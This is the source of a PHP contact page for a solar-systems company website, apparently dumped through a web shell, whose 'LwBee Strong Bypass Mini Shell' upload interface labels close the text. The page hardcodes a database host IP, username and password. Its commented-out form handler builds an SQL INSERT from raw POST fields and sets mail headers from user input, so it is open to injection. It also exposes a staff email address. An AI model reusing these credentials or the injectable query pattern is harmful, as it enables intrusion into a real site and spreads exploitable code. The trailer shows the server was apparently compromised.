/home3/vehiclea/public_html/suryasolarsystems/contact.php
<?php
$_SESSION['active'] = 'contact';
include 'header.php';
include 'topbar.php';
include 'navbar.php';

?>

    <!-- Page Header Start -->
    <div class="container-fluid page-header py-5 mb-5">
        <div class="container py-5">
            <h1 class="display-3 text-white mb-3 animated slideInDown">Contact</h1>
            <nav aria-label="breadcrumb animated slideInDown">
                 <ol class="breadcrumb">
                    <li class="breadcrumb-item"><a class="text-white" href="index.php">Home</a></li>
                    <li class="breadcrumb-item text-white active" href="contact.php" aria-current="page">Contact</li>
                </ol> 
            </nav>
        </div>
    </div>
    
    <div class="container-fluid bg-light overflow-hidden px-lg-0" style="margin: 6rem 0;">
        <div class="container contact px-lg-0">
            <div class="row g-0 mx-lg-0">
                <div class="col-lg-6 contact-text py-5 wow fadeIn" data-wow-delay="0.5s">
                    <div class="p-lg-5 ps-lg-0">
                        <h1 class="text-primary">Contact Us</h1>
                        <!-- <h6 class="mb-4">Feel Free To Contact Us</h6> -->
                        <?php
                        $conn = mysqli_connect('162.214.81.24','vehiclea_suryasolar','Ramesh465@','vehiclea_suryasolarsystems');
                        // if (isset($_POST['submit'])) 
                        // { 
                        //     $name=$_POST['name'];
                        //     $email=$_POST['mailID'];
                        //     $mobileno=$_POST['mobileno'];
                        //      $subject=$_POST['subject'];
                        //      $message=$_POST['message'];
                        //      $contact="INSERT INTO contact(name,mailID,mobileNo,subject,message,create_date)values('$name','$email','$mobileno','$subject','$message','".date('Y-m-d h:i:s')."')";
                        //         if (mysqli_query($conn,$contact)) {
                        //             // code...
                        //             echo "<script>alert('success')</script>";
                        //         } else {
                        //             // code...
                        //              echo "<script>alert('failed')</script>";
                        //          }
                        //          if(!empty($email) && !empty($name)){
                        //             //received mail
                        //             $toEmail = 'gayathri@siimatechnologies.com';
                        //              // Sender
                        //             $from = $email;
                        //             $fromName = $name;
                        //              // Subject
                        //             $emailSubject = ucfirst($name).' Applied for '.ucwords($subject);
                        //             // Message
                        //             $htmlContent = '<h2>Contact Request Submitted</h2>
                        //             <p><b>Name:</b> '.$name.'</p>
                        //             <p><b>Email:</b> '.$email.'</p>
                        //             // <p><b>MobileNo:</b>'.$mobileno.'</p>
                        //             <p><b>Subject:</b> '.$subject.'</p>
                        //             <p><b>Message:</b><br/>'.$message.'</p>';
                        //             // Header for sender info
                        //              $headers = "From: $fromName"." <".$from.">";
                        //              // Send email
                        //              $mail = mail($toEmail, $emailSubject, $message, $headers);
                        //               }
                        //           }
                                  ?>
                                  <form method="post" enctype="multipart/form-data"  onsubmit = "return validation()">
                            <div class="row g-3">
                                <div class="col-md-6">
                                    <div class="form-floating">
                                        <input type="text" name="name" class="form-control" id="name" placeholder="Your Name">
                                        <label for="name">Your Name</label>
                                    </div>
                                </div>
                                <div class="col-md-6">
                                    <div class="form-floating">
                                        <input type="email" name="mailID" class="form-control" id="mailID" placeholder="Your Email">
                                        <label for="email">Your Email</label>
                                    </div>
                                </div>
                               <div class="col-12">
                                    <div class="form-floating">
                                        <input type="text" name="mobileno" id="mobileno" nospace onkeypress="return isNumber(event)" maxlength="10" class="form-control"  placeholder="Mobile No">
                                        <label for="subject">Mobile</label>
                                    </div>
                                </div> 
                                <div class="col-12">
                                    <div class="form-floating">
                                        <input type="text" name="subject" class="form-control" id="subject" placeholder="Subject">
                                        <label for="subject">Subject</label>
                                    </div>
                                </div>
                                <div class="col-12">
                                    <div class="form-floating">
                                        <textarea class="form-control" name="message" placeholder="Leave a message here" id="message" style="height: 100px"></textarea>
                                        <label for="message">Message</label>
                                    </div>
                                </div>
                                <div class="col-12">
                                    <button class="btn btn-primary rounded-pill py-3 px-5" name="submit" type="submit">Send Message</button>
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
                <div class="col-lg-6 pe-lg-0" style="min-height: 400px;">
                    <div class="position-relative h-100">
                        <iframe class="position-absolute w-100 h-100" style="object-fit: cover;"
                        src="https://www.google.com/maps/embed?pb=!1m23!1m12!1m3!1d3805.629082514118!2d78.55210141459598!3d17.47745848802471!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!4m8!3e6!4m0!4m5!1s0x3bcb9b691fb72509%3A0x8804d984dc3758df!2sLIG-B-586%2C%20AS%20RAO%20Nagar%2C%2C%20LIG-B-586%2C%20Dr.%20AS%20Rao%20Nagar%20Rd%2C%20behind%20Dr.HOMI%20J%20BHABHA%20Community%20Hall%2C%20Kapra%2C%20Secunderabad%2C%20Telangana%20500062!3m2!1d17.4736485!2d78.5595776!5e0!3m2!1sen!2sin!4v1669180392190!5m2!1sen!2sin" 
                        frameborder="0" allowfullscreen="" aria-hidden="false"
                        tabindex="0"></iframe>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <!-- Contact End -->

<?php
include 'footer.php';
?>
<script>
  function validation(){
    var ph = $('#mobileno').val();
    var phlen = ph.length;
    var  email_id = $('#mailID').val();
    var filter_id = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
        if ($('#name').val() == '') {
          alert('Please Enter Your name');
          return false;
        } 
         else if ($('#mobileno').val() == '') {
          alert('Please Enter Phone Number');
          return false;
        } 
         else if ($('#subject').val() == '') {
          alert('Please Enter subject');
          return false;
        }
        else if ($('#message').val() == '') {
          alert('Please Enter message');
          return false;
        }  
        else if ($('#mobileno').val() == '') {
          alert('Please Enter Phone Number');
          return false;
        } 
        else if (phlen < 10) {
          alert("Enter 10 Digits Mobile Number");
          return false;
        } 
        else if ($('#mailID').val() == '') {
          alert('Please Enter Email');
          return false;
        } 
        else if(!email_id.match(filter_id))
        {
          alert("Enter Valid Email Id");
          return false;
        }
        else
        {
          return true;
        }
      }


</script>
<script>
    $('.noSpace').keyup(function() {
 this.value = this.value.replace(/\s/g,'');
});
      function isNumber(evt,ref,len)
        {
        evt = (evt) ? evt : window.event;
        var charCode = (evt.which) ? evt.which : evt.keyCode;
        if(charCode == 8 || charCode == 9 ){
        return true;
        }
        var ctrlDown = evt.ctrlKey||evt.metaKey // Mac support

        if (charCode > 31 && (charCode < 48 || charCode > 57) && charCode != 46 || charCode == 8 || charCode == 37 || charCode == 39 || ( ctrlDown && charCode==86)) {
        return false;
        }
        else if(ref.val().length >= len){
        return false;
            }
        return true;
             }
  </script>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File